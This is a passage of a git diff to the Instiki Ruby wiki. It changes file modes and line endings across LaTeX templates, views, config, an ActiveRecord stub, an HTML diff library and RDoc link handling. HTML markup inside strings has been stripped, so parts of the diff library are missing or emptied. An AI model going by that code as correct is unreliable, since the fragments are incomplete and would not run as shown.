+<% end %> diff --git a/app/views/wiki/tex.rhtml b/app/views/wiki/tex.rhtml old mode 100755 new mode 100644 index ae8d5c81..ea9a06c6 --- a/app/views/wiki/tex.rhtml +++ b/app/views/wiki/tex.rhtml @@ -1,23 +1,23 @@ -\documentclass[12pt,titlepage]{article} - -\usepackage[danish]{babel} %danske tekster -\usepackage[OT1]{fontenc} %rigtige danske bogstaver... -\usepackage{a4} -\usepackage{graphicx} -\usepackage{ucs} -\usepackage[utf8x]{inputenc} -\input epsf - -%------------------------------------------------------------------- - -\begin{document} - -\sloppy - -%------------------------------------------------------------------- - -\section*{<%= @page.name %>} - -<%= @tex_content %> - +\documentclass[12pt,titlepage]{article} + +\usepackage[danish]{babel} %danske tekster +\usepackage[OT1]{fontenc} %rigtige danske bogstaver... +\usepackage{a4} +\usepackage{graphicx} +\usepackage{ucs} +\usepackage[utf8x]{inputenc} +\input epsf + +%------------------------------------------------------------------- + +\begin{document} + +\sloppy + +%------------------------------------------------------------------- + +\section*{<%= @page.name %>} + +<%= @tex_content %> + \end{document} \ No newline at end of file diff --git a/app/views/wiki/tex_web.rhtml b/app/views/wiki/tex_web.rhtml old mode 100755 new mode 100644 index 9fd8c5a3..45953c52 --- a/app/views/wiki/tex_web.rhtml +++ b/app/views/wiki/tex_web.rhtml @@ -1,35 +1,35 @@ -\documentclass[12pt,titlepage]{article} - -\usepackage{fancyhdr} -\pagestyle{fancy} - -\fancyhead[LE,RO]{} -\fancyhead[LO,RE]{\nouppercase{\bfseries \leftmark}} -\fancyfoot[C]{\thepage} - -\usepackage[danish]{babel} %danske tekster -\usepackage{a4} -\usepackage{graphicx} -\usepackage{ucs} -\usepackage[utf8]{inputenc} -\input epsf - - -%------------------------------------------------------------------- - -\title{<%= @web_name %>} - -\begin{document} - -\maketitle - -\tableofcontents -\pagebreak - -\sloppy - -%------------------------------------------------------------------- - -<%= @tex_content %> - +\documentclass[12pt,titlepage]{article} + +\usepackage{fancyhdr} +\pagestyle{fancy} + +\fancyhead[LE,RO]{} +\fancyhead[LO,RE]{\nouppercase{\bfseries \leftmark}} +\fancyfoot[C]{\thepage} + +\usepackage[danish]{babel} %danske tekster +\usepackage{a4} +\usepackage{graphicx} +\usepackage{ucs} +\usepackage[utf8]{inputenc} +\input epsf + + +%------------------------------------------------------------------- + +\title{<%= @web_name %>} + +\begin{document} + +\maketitle + +\tableofcontents +\pagebreak + +\sloppy + +%------------------------------------------------------------------- + +<%= @tex_content %> + \end{document} \ No newline at end of file diff --git a/app/views/wiki/web_list.rhtml b/app/views/wiki/web_list.rhtml old mode 100755 new mode 100644 index 71e124fb..ebdde98d --- a/app/views/wiki/web_list.rhtml +++ b/app/views/wiki/web_list.rhtml @@ -1,18 +1,18 @@ -<% @title = "Wiki webs" %> - -
    -<% for web in @webs %> -
  • - <% if web.published %> - <%= web.make_link 'HomePage', web.name, :mode => :publish %> (read-only) / - <%= web.make_link 'HomePage', 'editable version', :mode => :edit %> (requires login) - <% else %> - <%= web.make_link 'HomePage', nil, :mode => :edit %> - <% end %> - - -
  • -<% end %> -
+<% @title = "Wiki webs" %> + +
    +<% for web in @webs %> +
  • + <% if web.published %> + <%= web.make_link 'HomePage', web.name, :mode => :publish %> (read-only) / + <%= web.make_link 'HomePage', 'editable version', :mode => :edit %> (requires login) + <% else %> + <%= web.make_link 'HomePage', nil, :mode => :edit %> + <% end %> + + +
  • +<% end %> +
diff --git a/app/views/wiki_words_help.rhtml b/app/views/wiki_words_help.rhtml old mode 100755 new mode 100644 index 2b026891..b283b407 --- a/app/views/wiki_words_help.rhtml +++ b/app/views/wiki_words_help.rhtml @@ -1,9 +1,9 @@ -

Wiki words

-

- Two or more uppercase words stuck together (camel case) or any phrase surrounded by double - brackets is a wiki word. A camel-case wiki word can be escaped by putting \ in front of it. -

-

- Wiki words: HomePage, ThreeWordsTogether, [[C++]], [[Let's play again!]]
- Not wiki words: IBM, School -

+

Wiki words

+

+ Two or more uppercase words stuck together (camel case) or any phrase surrounded by double + brackets is a wiki word. A camel-case wiki word can be escaped by putting \ in front of it. +

+

+ Wiki words: HomePage, ThreeWordsTogether, [[C++]], [[Let's play again!]]
+ Not wiki words: IBM, School +

diff --git a/config/environments/development.rb b/config/environments/development.rb old mode 100755 new mode 100644 index 26741be4..f824ec90 --- a/config/environments/development.rb +++ b/config/environments/development.rb @@ -1,4 +1,4 @@ -Dependencies.mechanism = :require -ActionController::Base.consider_all_requests_local = true -BREAKPOINT_SERVER_PORT = 42531 -ActionController::Base.logger.level = Logger::DEBUG +Dependencies.mechanism = :require +ActionController::Base.consider_all_requests_local = true +BREAKPOINT_SERVER_PORT = 42531 +ActionController::Base.logger.level = Logger::DEBUG diff --git a/libraries/active_record_stub.rb b/libraries/active_record_stub.rb old mode 100755 new mode 100644 index 7596ec89..9a3ec8a0 --- a/libraries/active_record_stub.rb +++ b/libraries/active_record_stub.rb @@ -1,23 +1,23 @@ -# This project uses Railties, which has an external dependency on ActiveRecord -# Since ActiveRecord may not be present in Instiki runtime environment, this -# file provides a stub replacement for it - -unless defined? ActiveRecord::Base - -module ActiveRecord - class Base - - # dependency in railties/lib/dispatcher.rb - def self.reset_column_information_and_inheritable_attributes_for_all_subclasses - # noop - end - - # dependency in actionpack/lib/action_controller/benchmarking.rb - def self.connected? - false - end - - end - end - +# This project uses Railties, which has an external dependency on ActiveRecord +# Since ActiveRecord may not be present in Instiki runtime environment, this +# file provides a stub replacement for it + +unless defined? ActiveRecord::Base + +module ActiveRecord + class Base + + # dependency in railties/lib/dispatcher.rb + def self.reset_column_information_and_inheritable_attributes_for_all_subclasses + # noop + end + + # dependency in actionpack/lib/action_controller/benchmarking.rb + def self.connected? + false + end + + end + end + end \ No newline at end of file diff --git a/libraries/diff.rb b/libraries/diff.rb old mode 100755 new mode 100644 index 16fd8150..12fcfaa7 --- a/libraries/diff.rb +++ b/libraries/diff.rb @@ -1,475 +1,475 @@ -# heavily based off difflib.py - see that file for documentation -# ported from Python by Bill Atkins - -# This does not support all features offered by difflib; it -# implements only the subset of features necessary -# to support a Ruby version of HTML Differ. You're welcome to finish this off. - -# By default, String#each iterates by line. This isn't really appropriate -# for diff, so often a string will be split by // to get an array of one- -# character strings. - -# Some methods in Diff are untested and are not guaranteed to work. The -# methods in HTMLDiff and any methods it calls should work quite well. - -# changes by DenisMertz -# * main change: -# ** get the tag soup away -# the tag soup problem was first reported with

tags, but it appeared also with -#

  • ,
      etc... tags -# this version should mostly fix these problems -# ** added a Builder class to manage the creation of the final htmldiff -# * minor changes: -# ** use symbols instead of string to represent opcodes -# ** small fix to html2list -# - -module Enumerable - def reduce(init) - result = init - each { |item| result = yield(result, item) } - result - end -end - -module Diff - - class SequenceMatcher - def initialize(a=[''], b=[''], isjunk=nil, byline=false) - a = (!byline and a.kind_of? String) ? a.split(//) : a - b = (!byline and b.kind_of? String) ? b.split(//) : b - @isjunk = isjunk || proc {} - set_seqs a, b - end - - def set_seqs(a, b) - set_seq_a a - set_seq_b b - end - - def set_seq_a(a) - @a = a - @matching_blocks = @opcodes = nil - end - - def set_seq_b(b) - @b = b - @matching_blocks = @opcodes = nil - chain_b - end - - def chain_b - @fullbcount = nil - @b2j = {} - pophash = {} - junkdict = {} - - @b.each_with_index do |elt, i| - if @b2j.has_key? elt - indices = @b2j[elt] - if @b.length >= 200 and indices.length * 100 > @b.length - pophash[elt] = 1 - indices.clear - else - indices.push i - end - else - @b2j[elt] = [i] - end - end - - pophash.each_key { |elt| @b2j.delete elt } - - junkdict = {} - - unless @isjunk.nil? - [pophash, @b2j].each do |d| - d.each_key do |elt| - if @isjunk.call(elt) - junkdict[elt] = 1 - d.delete elt - end - end - end - end - - @isbjunk = junkdict.method(:has_key?) - @isbpopular = junkdict.method(:has_key?) - end - - def find_longest_match(alo, ahi, blo, bhi) - besti, bestj, bestsize = alo, blo, 0 - - j2len = {} - - (alo..ahi).step do |i| - newj2len = {} - (@b2j[@a[i]] || []).each do |j| - if j < blo - next - end - if j >= bhi - break - end - - k = newj2len[j] = (j2len[j - 1] || 0) + 1 - if k > bestsize - besti, bestj, bestsize = i - k + 1, j - k + 1, k - end - end - j2len = newj2len - end - - while besti > alo and bestj > blo and - not @isbjunk.call(@b[bestj-1]) and - @a[besti-1] == @b[bestj-1] - besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 - end - - while besti+bestsize < ahi and bestj+bestsize < bhi and - not @isbjunk.call(@b[bestj+bestsize]) and - @a[besti+bestsize] == @b[bestj+bestsize] - bestsize += 1 - end - - while besti > alo and bestj > blo and - @isbjunk.call(@b[bestj-1]) and - @a[besti-1] == @b[bestj-1] - besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 - end - - while besti+bestsize < ahi and bestj+bestsize < bhi and - @isbjunk.call(@b[bestj+bestsize]) and - @a[besti+bestsize] == @b[bestj+bestsize] - bestsize += 1 - end - - [besti, bestj, bestsize] - end - - def get_matching_blocks - return @matching_blocks unless @matching_blocks.nil? or - @matching_blocks.empty? - - @matching_blocks = [] - la, lb = @a.length, @b.length - match_block_helper(0, la, 0, lb, @matching_blocks) - @matching_blocks.push [la, lb, 0] - end - - def match_block_helper(alo, ahi, blo, bhi, answer) - i, j, k = x = find_longest_match(alo, ahi, blo, bhi) - if not k.zero? - if alo < i and blo < j - match_block_helper(alo, i, blo, j, answer) - end - answer.push x - if i + k < ahi and j + k < bhi - match_block_helper(i + k, ahi, j + k, bhi, answer) - end - end - end - - def get_opcodes - unless @opcodes.nil? or @opcodes.empty? - return @opcodes - end - - i = j = 0 - @opcodes = answer = [] - get_matching_blocks.each do |ai, bj, size| - tag = if i < ai and j < bj - :replace - elsif i < ai - :delete - elsif j < bj - :insert - end - - answer.push [tag, i, ai, j, bj] if tag - - i, j = ai + size, bj + size - - answer.push [:equal, ai, i, bj, j] unless size.zero? - - end - return answer - end - - # XXX: untested - def get_grouped_opcodes(n=3) - codes = get_opcodes - if codes[0][0] == :equal - tag, i1, i2, j1, j2 = codes[0] - codes[0] = tag, [i1, i2 - n].max, i2, [j1, j2-n].max, j2 - end - - if codes[-1][0] == :equal - tag, i1, i2, j1, j2 = codes[-1] - codes[-1] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n) - end - nn = n + n - group = [] - codes.each do |tag, i1, i2, j1, j2| - if tag == :equal and i2-i1 > nn - group.push [tag, i1, [i2, i1 + n].min, j1, [j2, j1 + n].min] - yield group - group = [] - i1, j1 = [i1, i2-n].max, [j1, j2-n].max - group.push [tag, i1, i2, j1 ,j2] - end - end - if group and group.length != 1 and group[0][0] == :equal - yield group - end - end - - def ratio - matches = get_matching_blocks.reduce(0) do |sum, triple| - sum + triple[-1] - end - Diff.calculate_ratio(matches, @a.length + @b.length) - end - - def quick_ratio - if @fullbcount.nil? or @fullbcount.empty? - @fullbcount = {} - @b.each do |elt| - @fullbcount[elt] = (@fullbcount[elt] || 0) + 1 - end - end - - avail = {} - matches = 0 - @a.each do |elt| - if avail.has_key? elt - numb = avail[elt] - else - numb = @fullbcount[elt] || 0 - end - avail[elt] = numb - 1 - if numb > 0 - matches += 1 - end - end - Diff.calculate_ratio matches, @a.length + @b.length - end - - def real_quick_ratio - la, lb = @a.length, @b.length - Diff.calculate_ratio([la, lb].min, la + lb) - end - - protected :chain_b, :match_block_helper - end # end class SequenceMatcher - - def self.calculate_ratio(matches, length) - return 1.0 if length.zero? - 2.0 * matches / length - end - - # XXX: untested - def self.get_close_matches(word, possibilities, n=3, cutoff=0.6) - unless n > 0 - raise "n must be > 0: #{n}" - end - unless 0.0 <= cutoff and cutoff <= 1.0 - raise "cutoff must be in (0.0..1.0): #{cutoff}" - end - - result = [] - s = SequenceMatcher.new - s.set_seq_b word - possibilities.each do |x| - s.set_seq_a x - if s.real_quick_ratio >= cutoff and - s.quick_ratio >= cutoff and - s.ratio >= cutoff - result.push [s.ratio, x] - end - end - - unless result.nil? or result.empty? - result.sort - result.reverse! - result = result[-n..-1] - end - result.collect { |score, x| x } - end - - def self.count_leading(line, ch) - i, n = 0, line.length - while i < n and line[i].chr == ch - i += 1 - end - i - end -end - - -module HTMLDiff - include Diff - class Builder - VALID_METHODS = [:replace, :insert, :delete, :equal] - def initialize(a, b) - @a = a - @b = b - @content = [] - end - - def do_op(opcode) - @opcode = opcode - op = @opcode[0] - VALID_METHODS.include?(op) or raise(NameError, "Invalid opcode #{op}") - self.method(op).call - end - - def result - @content.join('') - end - - #this methods have to be called via do_op(opcode) so that @opcode is set properly - private - - def replace - delete("diffmod") - insert("diffmod") - end - - def insert(tagclass="diffins") - op_helper("ins", tagclass, @b[@opcode[3]...@opcode[4]]) - end - - def delete(tagclass="diffdel") - op_helper("del", tagclass, @a[@opcode[1]...@opcode[2]]) - end - - def equal - @content += @b[@opcode[3]...@opcode[4]] - end - - # using this as op_helper would be equivalent to the first version of diff.rb by Bill Atkins - def op_helper_simple(tagname, tagclass, to_add) - @content << "<#{tagname} class=\"#{tagclass}\">" - @content += to_add - @content << "" - end - - # this tries to put

      tags or newline chars before the opening diff tags ( or ) - # or after the ending diff tags - # as a result the diff tags should be the "more inside" possible. - # this seems to work nice with html containing only paragraphs - # but not sure it works if there are other tags (div, span ... ? ) around - def op_helper(tagname, tagclass, to_add) - @content << to_add.shift while ( HTMLDiff.is_newline(to_add.first) or - HTMLDiff.is_p_close_tag(to_add.first) or - HTMLDiff.is_p_open_tag(to_add.first) ) - @content << "<#{tagname} class=\"#{tagclass}\">" - @content += to_add - last_tags = [] - last_tags.unshift(@content.pop) while ( HTMLDiff.is_newline(@content.last) or - HTMLDiff.is_p_close_tag(@content.last) or - HTMLDiff.is_p_open_tag(@content.last) ) - last_tags.unshift "" - @content += last_tags - remove_empty_diff(tagname, tagclass) - end - - def remove_empty_diff(tagname, tagclass) - if @content[-2] == "<#{tagname} class=\"#{tagclass}\">" and @content[-1] == "" then - @content.pop - @content.pop - end - end - - end - - def self.is_newline(x) - (x == "\n") or (x == "\r") or (x == "\t") - end - - def self.is_p_open_tag(x) - x =~ /\A<(p|li|ul|ol|dir|dt|dl)/ - end - - def self.is_p_close_tag(x) - x =~ %r!\A' - if b - cur += ']' - else - cur += c - end - out.push(cur) - cur = '' - mode = 'char' - else - cur += c - end - elsif mode == 'char' - if c == '<' - out.push cur - if b - cur = '[' - else - cur = c - end - mode = 'tag' - elsif /\s/.match c - out.push cur + c - cur = '' - else - cur += c - end - end - end - - out.push cur - # TODO: make something better here - out.each{|x| x.chomp! unless is_newline(x)} - out.find_all { |x| x != '' } - end - - -end - -if __FILE__ == $0 - - require 'pp' - # a = "

      this is the original string

      " # \n

      but around the world

      " - # b = "

      this is the original

      other parag

      string

      " - a = "
        \n\t
      • one
      • \n\t
      • two
      • \n
      " - b = "
        \n\t
      • one
      • \n\t
      • two\n\t
        • abc
      • \n
      " - puts a - pp HTMLDiff.html2list(a) - puts - puts b - pp HTMLDiff.html2list(b) - puts - puts HTMLDiff.diff(a, b) +# heavily based off difflib.py - see that file for documentation +# ported from Python by Bill Atkins + +# This does not support all features offered by difflib; it +# implements only the subset of features necessary +# to support a Ruby version of HTML Differ. You're welcome to finish this off. + +# By default, String#each iterates by line. This isn't really appropriate +# for diff, so often a string will be split by // to get an array of one- +# character strings. + +# Some methods in Diff are untested and are not guaranteed to work. The +# methods in HTMLDiff and any methods it calls should work quite well. + +# changes by DenisMertz +# * main change: +# ** get the tag soup away +# the tag soup problem was first reported with

      tags, but it appeared also with +#

    • ,
        etc... tags +# this version should mostly fix these problems +# ** added a Builder class to manage the creation of the final htmldiff +# * minor changes: +# ** use symbols instead of string to represent opcodes +# ** small fix to html2list +# + +module Enumerable + def reduce(init) + result = init + each { |item| result = yield(result, item) } + result + end +end + +module Diff + + class SequenceMatcher + def initialize(a=[''], b=[''], isjunk=nil, byline=false) + a = (!byline and a.kind_of? String) ? a.split(//) : a + b = (!byline and b.kind_of? String) ? b.split(//) : b + @isjunk = isjunk || proc {} + set_seqs a, b + end + + def set_seqs(a, b) + set_seq_a a + set_seq_b b + end + + def set_seq_a(a) + @a = a + @matching_blocks = @opcodes = nil + end + + def set_seq_b(b) + @b = b + @matching_blocks = @opcodes = nil + chain_b + end + + def chain_b + @fullbcount = nil + @b2j = {} + pophash = {} + junkdict = {} + + @b.each_with_index do |elt, i| + if @b2j.has_key? elt + indices = @b2j[elt] + if @b.length >= 200 and indices.length * 100 > @b.length + pophash[elt] = 1 + indices.clear + else + indices.push i + end + else + @b2j[elt] = [i] + end + end + + pophash.each_key { |elt| @b2j.delete elt } + + junkdict = {} + + unless @isjunk.nil? + [pophash, @b2j].each do |d| + d.each_key do |elt| + if @isjunk.call(elt) + junkdict[elt] = 1 + d.delete elt + end + end + end + end + + @isbjunk = junkdict.method(:has_key?) + @isbpopular = junkdict.method(:has_key?) + end + + def find_longest_match(alo, ahi, blo, bhi) + besti, bestj, bestsize = alo, blo, 0 + + j2len = {} + + (alo..ahi).step do |i| + newj2len = {} + (@b2j[@a[i]] || []).each do |j| + if j < blo + next + end + if j >= bhi + break + end + + k = newj2len[j] = (j2len[j - 1] || 0) + 1 + if k > bestsize + besti, bestj, bestsize = i - k + 1, j - k + 1, k + end + end + j2len = newj2len + end + + while besti > alo and bestj > blo and + not @isbjunk.call(@b[bestj-1]) and + @a[besti-1] == @b[bestj-1] + besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 + end + + while besti+bestsize < ahi and bestj+bestsize < bhi and + not @isbjunk.call(@b[bestj+bestsize]) and + @a[besti+bestsize] == @b[bestj+bestsize] + bestsize += 1 + end + + while besti > alo and bestj > blo and + @isbjunk.call(@b[bestj-1]) and + @a[besti-1] == @b[bestj-1] + besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 + end + + while besti+bestsize < ahi and bestj+bestsize < bhi and + @isbjunk.call(@b[bestj+bestsize]) and + @a[besti+bestsize] == @b[bestj+bestsize] + bestsize += 1 + end + + [besti, bestj, bestsize] + end + + def get_matching_blocks + return @matching_blocks unless @matching_blocks.nil? or + @matching_blocks.empty? + + @matching_blocks = [] + la, lb = @a.length, @b.length + match_block_helper(0, la, 0, lb, @matching_blocks) + @matching_blocks.push [la, lb, 0] + end + + def match_block_helper(alo, ahi, blo, bhi, answer) + i, j, k = x = find_longest_match(alo, ahi, blo, bhi) + if not k.zero? + if alo < i and blo < j + match_block_helper(alo, i, blo, j, answer) + end + answer.push x + if i + k < ahi and j + k < bhi + match_block_helper(i + k, ahi, j + k, bhi, answer) + end + end + end + + def get_opcodes + unless @opcodes.nil? or @opcodes.empty? + return @opcodes + end + + i = j = 0 + @opcodes = answer = [] + get_matching_blocks.each do |ai, bj, size| + tag = if i < ai and j < bj + :replace + elsif i < ai + :delete + elsif j < bj + :insert + end + + answer.push [tag, i, ai, j, bj] if tag + + i, j = ai + size, bj + size + + answer.push [:equal, ai, i, bj, j] unless size.zero? + + end + return answer + end + + # XXX: untested + def get_grouped_opcodes(n=3) + codes = get_opcodes + if codes[0][0] == :equal + tag, i1, i2, j1, j2 = codes[0] + codes[0] = tag, [i1, i2 - n].max, i2, [j1, j2-n].max, j2 + end + + if codes[-1][0] == :equal + tag, i1, i2, j1, j2 = codes[-1] + codes[-1] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n) + end + nn = n + n + group = [] + codes.each do |tag, i1, i2, j1, j2| + if tag == :equal and i2-i1 > nn + group.push [tag, i1, [i2, i1 + n].min, j1, [j2, j1 + n].min] + yield group + group = [] + i1, j1 = [i1, i2-n].max, [j1, j2-n].max + group.push [tag, i1, i2, j1 ,j2] + end + end + if group and group.length != 1 and group[0][0] == :equal + yield group + end + end + + def ratio + matches = get_matching_blocks.reduce(0) do |sum, triple| + sum + triple[-1] + end + Diff.calculate_ratio(matches, @a.length + @b.length) + end + + def quick_ratio + if @fullbcount.nil? or @fullbcount.empty? + @fullbcount = {} + @b.each do |elt| + @fullbcount[elt] = (@fullbcount[elt] || 0) + 1 + end + end + + avail = {} + matches = 0 + @a.each do |elt| + if avail.has_key? elt + numb = avail[elt] + else + numb = @fullbcount[elt] || 0 + end + avail[elt] = numb - 1 + if numb > 0 + matches += 1 + end + end + Diff.calculate_ratio matches, @a.length + @b.length + end + + def real_quick_ratio + la, lb = @a.length, @b.length + Diff.calculate_ratio([la, lb].min, la + lb) + end + + protected :chain_b, :match_block_helper + end # end class SequenceMatcher + + def self.calculate_ratio(matches, length) + return 1.0 if length.zero? + 2.0 * matches / length + end + + # XXX: untested + def self.get_close_matches(word, possibilities, n=3, cutoff=0.6) + unless n > 0 + raise "n must be > 0: #{n}" + end + unless 0.0 <= cutoff and cutoff <= 1.0 + raise "cutoff must be in (0.0..1.0): #{cutoff}" + end + + result = [] + s = SequenceMatcher.new + s.set_seq_b word + possibilities.each do |x| + s.set_seq_a x + if s.real_quick_ratio >= cutoff and + s.quick_ratio >= cutoff and + s.ratio >= cutoff + result.push [s.ratio, x] + end + end + + unless result.nil? or result.empty? + result.sort + result.reverse! + result = result[-n..-1] + end + result.collect { |score, x| x } + end + + def self.count_leading(line, ch) + i, n = 0, line.length + while i < n and line[i].chr == ch + i += 1 + end + i + end +end + + +module HTMLDiff + include Diff + class Builder + VALID_METHODS = [:replace, :insert, :delete, :equal] + def initialize(a, b) + @a = a + @b = b + @content = [] + end + + def do_op(opcode) + @opcode = opcode + op = @opcode[0] + VALID_METHODS.include?(op) or raise(NameError, "Invalid opcode #{op}") + self.method(op).call + end + + def result + @content.join('') + end + + #this methods have to be called via do_op(opcode) so that @opcode is set properly + private + + def replace + delete("diffmod") + insert("diffmod") + end + + def insert(tagclass="diffins") + op_helper("ins", tagclass, @b[@opcode[3]...@opcode[4]]) + end + + def delete(tagclass="diffdel") + op_helper("del", tagclass, @a[@opcode[1]...@opcode[2]]) + end + + def equal + @content += @b[@opcode[3]...@opcode[4]] + end + + # using this as op_helper would be equivalent to the first version of diff.rb by Bill Atkins + def op_helper_simple(tagname, tagclass, to_add) + @content << "<#{tagname} class=\"#{tagclass}\">" + @content += to_add + @content << "" + end + + # this tries to put

        tags or newline chars before the opening diff tags ( or ) + # or after the ending diff tags + # as a result the diff tags should be the "more inside" possible. + # this seems to work nice with html containing only paragraphs + # but not sure it works if there are other tags (div, span ... ? ) around + def op_helper(tagname, tagclass, to_add) + @content << to_add.shift while ( HTMLDiff.is_newline(to_add.first) or + HTMLDiff.is_p_close_tag(to_add.first) or + HTMLDiff.is_p_open_tag(to_add.first) ) + @content << "<#{tagname} class=\"#{tagclass}\">" + @content += to_add + last_tags = [] + last_tags.unshift(@content.pop) while ( HTMLDiff.is_newline(@content.last) or + HTMLDiff.is_p_close_tag(@content.last) or + HTMLDiff.is_p_open_tag(@content.last) ) + last_tags.unshift "" + @content += last_tags + remove_empty_diff(tagname, tagclass) + end + + def remove_empty_diff(tagname, tagclass) + if @content[-2] == "<#{tagname} class=\"#{tagclass}\">" and @content[-1] == "" then + @content.pop + @content.pop + end + end + + end + + def self.is_newline(x) + (x == "\n") or (x == "\r") or (x == "\t") + end + + def self.is_p_open_tag(x) + x =~ /\A<(p|li|ul|ol|dir|dt|dl)/ + end + + def self.is_p_close_tag(x) + x =~ %r!\A' + if b + cur += ']' + else + cur += c + end + out.push(cur) + cur = '' + mode = 'char' + else + cur += c + end + elsif mode == 'char' + if c == '<' + out.push cur + if b + cur = '[' + else + cur = c + end + mode = 'tag' + elsif /\s/.match c + out.push cur + c + cur = '' + else + cur += c + end + end + end + + out.push cur + # TODO: make something better here + out.each{|x| x.chomp! unless is_newline(x)} + out.find_all { |x| x != '' } + end + + +end + +if __FILE__ == $0 + + require 'pp' + # a = "

        this is the original string

        " # \n

        but around the world

        " + # b = "

        this is the original

        other parag

        string

        " + a = "
          \n\t
        • one
        • \n\t
        • two
        • \n
        " + b = "
          \n\t
        • one
        • \n\t
        • two\n\t
          • abc
        • \n
        " + puts a + pp HTMLDiff.html2list(a) + puts + puts b + pp HTMLDiff.html2list(b) + puts + puts HTMLDiff.diff(a, b) end \ No newline at end of file diff --git a/libraries/instiki_errors.rb b/libraries/instiki_errors.rb index 52efc571..0737ab46 100644 --- a/libraries/instiki_errors.rb +++ b/libraries/instiki_errors.rb @@ -1,15 +1,15 @@ -# Model methods that want to rollback transactions gracefully -# (i.e, returning the user back to the form from which the request was posted) -# should raise Instiki::ValidationError. -# -# E.g. if a model object does -# raise "Foo: '#{foo}' is not equal to Bar: '#{bar}'" if (foo != bar) -# -# then the operation is not committed; Rails returns the user to the page -# where s/he was entering foo and bar, and the error message will be displayed -# on the page - -module Instiki - class ValidationError < StandardError - end +# Model methods that want to rollback transactions gracefully +# (i.e, returning the user back to the form from which the request was posted) +# should raise Instiki::ValidationError. +# +# E.g. if a model object does +# raise "Foo: '#{foo}' is not equal to Bar: '#{bar}'" if (foo != bar) +# +# then the operation is not committed; Rails returns the user to the page +# where s/he was entering foo and bar, and the error message will be displayed +# on the page + +module Instiki + class ValidationError < StandardError + end end \ No newline at end of file diff --git a/libraries/rdocsupport.rb b/libraries/rdocsupport.rb old mode 100755 new mode 100644 index 62b84cb8..0aaf842f --- a/libraries/rdocsupport.rb +++ b/libraries/rdocsupport.rb @@ -1,152 +1,152 @@ -begin - require "rdoc/markup/simple_markup" - require 'rdoc/markup/simple_markup/to_html' -rescue LoadError - # use old version if available - require 'markup/simple_markup' - require 'markup/simple_markup/to_html' -end - -module RDocSupport - -# A simple +rdoc+ markup class which recognizes some additional -# formatting commands suitable for Wiki use. -class RDocMarkup < SM::SimpleMarkup - def initialize - super() - - pre = '(?:\\s|^|\\\\)' - - # links of the form - # [[ description with spaces]] - add_special(/((\\)?\[\[\S+?\s+.+?\]\])/,:TIDYLINK) - - # and external references - add_special(/((\\)?(link:|anchor:|http:|mailto:|ftp:|img:|www\.)\S+\w\/?)/, - :HYPERLINK) - - #
        - add_special(%r{(#{pre}
        )}, :BR) - - # and
        ...
        - add_html("center", :CENTER) - end - - def convert(text, handler) - super.sub(/^

        \n/, '').sub(/<\/p>$/, '') - end -end - -# Handle special hyperlinking requirments for RDoc formatted -# entries. Requires RDoc - -class HyperLinkHtml < SM::ToHtml - - # Initialize the HyperLinkHtml object. - # [path] location of the node - # [site] object representing the whole site (typically of class - # +Site+) - def initialize - super() - add_tag(:CENTER, "

        ", "
        ") - end - - # handle
        - def handle_special_BR(special) - return "<br/>" if special.text[0,1] == '\\' - special.text - end - - # We're invoked with a potential external hyperlink. - # [mailto:] just gets inserted. - # [http:] links are checked to see if they - # reference an image. If so, that image gets inserted - # using an tag. Otherwise a conventional - # is used. - # [img:] insert a tag - # [link:] used to insert arbitrary references - # [anchor:] used to create an anchor - def handle_special_HYPERLINK(special) - text = special.text.strip - return text[1..-1] if text[0,1] == '\\' - url = special.text.strip - if url =~ /([A-Za-z]+):(.*)/ - type = $1 - path = $2 - else - type = "http" - path = url - url = "http://#{url}" - end - - case type - when "http" - if url =~ /\.(gif|png|jpg|jpeg|bmp)$/ - "" - else - "#{url.sub(%r{^\w+:/*}, '')}" - end - when "img" - "" - when "link" - "#{path}" - when "anchor" - "" - else - "#{url.sub(%r{^\w+:/*}, '')}" - end - end - - # Here's a hyperlink where the label is different to the URL - # [[url label that may contain spaces]] - # - - def handle_special_TIDYLINK(special) - text = special.text.strip - return text[1..-1] if text[0,1] == '\\' - unless text =~ /\[\[(\S+?)\s+(.+?)\]\]/ - return text - end - url = $1 - label = $2 - label = RDocFormatter.new(label).to_html - label = label.split.select{|x| x =~ /\S/}. - map{|x| x.chomp}.join(' ') - - case url - when /link:(\S+)/ - return %{#{label}} - when /img:(\S+)/ - return %{#{label}} - when /rubytalk:(\S+)/ - return %{#{label}} - when /rubygarden:(\S+)/ - return %{#{label}} - when /c2:(\S+)/ - return %{#{label}} - when /isbn:(\S+)/ - return %{#{label}} - end - - unless url =~ /\w+?:/ - url = "http://#{url}" - end - - "#{label}" - end -end - -class RDocFormatter - def initialize(text) - @text = text - end - - def to_html - markup = RDocMarkup.new - h = HyperLinkHtml.new - markup.convert(@text, h) - end -end - +begin + require "rdoc/markup/simple_markup" + require 'rdoc/markup/simple_markup/to_html' +rescue LoadError + # use old version if available + require 'markup/simple_markup' + require 'markup/simple_markup/to_html' +end + +module RDocSupport + +# A simple +rdoc+ markup class which recognizes some additional +# formatting commands suitable for Wiki use. +class RDocMarkup < SM::SimpleMarkup + def initialize + super() + + pre = '(?:\\s|^|\\\\)' + + # links of the form + # [[ description with spaces]] + add_special(/((\\)?\[\[\S+?\s+.+?\]\])/,:TIDYLINK) + + # and external references + add_special(/((\\)?(link:|anchor:|http:|mailto:|ftp:|img:|www\.)\S+\w\/?)/, + :HYPERLINK) + + #
        + add_special(%r{(#{pre}
        )}, :BR) + + # and
        ...
        + add_html("center", :CENTER) + end + + def convert(text, handler) + super.sub(/^

        \n/, '').sub(/<\/p>$/, '') + end +end + +# Handle special hyperlinking requirments for RDoc formatted +# entries. Requires RDoc + +class HyperLinkHtml < SM::ToHtml + + # Initialize the HyperLinkHtml object. + # [path] location of the node + # [site] object representing the whole site (typically of class + # +Site+) + def initialize + super() + add_tag(:CENTER, "

        ", "
        ") + end + + # handle
